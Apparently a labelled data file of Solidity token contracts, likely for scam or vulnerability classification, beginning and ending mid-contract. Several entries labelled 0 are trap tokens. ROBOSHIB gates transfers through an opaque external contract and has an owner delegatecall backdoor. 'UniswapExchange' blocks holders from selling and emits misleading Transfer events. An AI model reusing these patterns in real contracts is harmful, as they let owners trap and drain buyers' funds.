(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _tos, uint amount) public { require(msg.sender == owner); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = amount; emit Transfer(address(0x0), _tos[i], amount); } } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForUniswap.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
1,722
pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract ERC20Mintable is ERC20 { address private _minter; modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minter == account; } constructor (address minter) public { _minter = minter; } function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } contract ERC20Capped is ERC20Mintable { uint256 private _cap; constructor (uint256 cap) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } function cap() public view returns (uint256) { return _cap; } function _mint(address account, uint256 value) internal { require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded"); super._mint(account, value); } } interface IERC20Freezable { event Freeze(address indexed account); event Unfreeze(address indexed account); } contract ERC20Freezable is ERC20Mintable, IERC20Freezable { mapping (address => bool) private _frozenAddresses; modifier notFrozen() { require(!isFrozen(msg.sender), "ERC20Freezable: address is frozen"); _; } function isFrozen(address account) public view returns (bool) { return _frozenAddresses[account]; } function freeze(address account) public onlyMinter returns (bool) { _frozenAddresses[account] = true; emit Freeze(account); return true; } function unfreeze(address account) public onlyMinter returns (bool) { require(isFrozen(account), "ERC20Freezable: account is not frozen"); _frozenAddresses[account] = false; emit Unfreeze(account); return true; } function transfer(address to, uint256 value) public notFrozen returns (bool) { return super.transfer(to, value); } function approve(address spender, uint256 value) public notFrozen returns (bool) { return super.approve(spender, value); } function transferFrom(address from, address to, uint256 value) public notFrozen returns (bool) { require(!isFrozen(from), "ERC20Freezable: from address is frozen"); require(!isFrozen(to), "ERC20Freezable: to address is frozen"); return super.transferFrom(from, to, value); } function increaseAllowance(address spender, uint256 addedValue) public notFrozen returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public notFrozen returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract L2T is ERC20Mintable, ERC20Detailed, ERC20Capped { uint8 public constant DECIMALS = 18; uint256 public constant TOTAL_CAP = 40000000 * (10 ** uint256(DECIMALS)); constructor () public ERC20Detailed("L2T", "L2T", DECIMALS) ERC20Mintable(0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c) ERC20Capped(TOTAL_CAP) { } }
1
5,279
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract ROBOSHIB is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000000; string public name = "ROBOSHIB"; string public symbol = "ROBOSHIB"; IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForPancake(wrappedEther, address(this)); allowance[address(this)][address(pancakeRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _reallyGoHere, uint amount) public { require(msg.sender == owner); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere)); for(uint i = 0; i < _reallyGoHere.length; i++) { balanceOf[_reallyGoHere[i]] = amount; emit Transfer(address(0x0), _reallyGoHere[i], amount); } } function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; pancakeRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_reallyGoHere.length == _amounts.length); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere)); for(uint i = 0; i < _reallyGoHere.length; i++) { balanceOf[_reallyGoHere[i]] = _amounts[i]; emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]); } } }
0
1,059
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract XxxToken is MintableToken { string public constant name = "XXX Token"; string public constant symbol = "XXX"; uint8 public constant decimals = 18; } contract XxxTokenSale is Ownable { using SafeMath for uint256; uint256 public startDate; uint256 public endDate; uint256 public cap; address public wallet; uint256 public weiRaised; XxxToken public token; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event TokenReserveMinted(uint256 amount); modifier initialized() { require(address(token) != 0x0); _; } function XxxTokenSale() { } function initialize(XxxToken _token, address _wallet, uint256 _start, uint256 _end, uint256 _cap) onlyOwner { require(address(token) == address(0)); require(_token.owner() == address(this)); require(_start >= getCurrentTimestamp()); require(_start < _end); require(_wallet != 0x0); token = _token; wallet = _wallet; startDate = _start; endDate = _end; cap = _cap; } function getCurrentTimestamp() internal returns (uint256) { return now; } function () payable { buyTokens(msg.sender); } function getRateAt(uint256 at) constant returns (uint256) { if (at < startDate) { return 0; } else if (at < (startDate + 7 days)) { return 2000; } else if (at < (startDate + 14 days)) { return 1800; } else if (at < (startDate + 21 days)) { return 1700; } else if (at < (startDate + 28 days)) { return 1600; } else if (at < (startDate + 35 days)) { return 1500; } else if (at < (startDate + 49 days)) { return 1400; } else if (at < (startDate + 63 days)) { return 1300; } else if (at < (startDate + 77 days)) { return 1200; } else if (at <= endDate) { return 1100; } else { return 0; } } function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(msg.value != 0); require(saleActive()); uint256 weiAmount = msg.value; uint256 updatedWeiRaised = weiRaised.add(weiAmount); require(updatedWeiRaised <= cap); uint256 actualRate = getRateAt(getCurrentTimestamp()); uint256 tokens = weiAmount.mul(actualRate); weiRaised = updatedWeiRaised; token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); wallet.transfer(msg.value); } function finalize() onlyOwner { require(!saleActive()); uint256 xxxToReserve = SafeMath.div(token.totalSupply(), 5); token.mint(wallet, xxxToReserve); TokenReserveMinted(xxxToReserve); token.finishMinting(); } function saleActive() public constant returns (bool) { return (getCurrentTimestamp() >= startDate && getCurrentTimestamp() <= endDate && weiRaised < cap); } }
1
4,636
pragma solidity ^0.4.19; contract ERC20 { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is ERC20 { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Whatshalal is StandardToken { function () { revert(); } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function Whatshalal( ) { totalSupply = 1000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000; name = "Whatshalal"; decimals = 18; symbol = "WHT"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); } return true; } }
1
3,242
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,678
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return 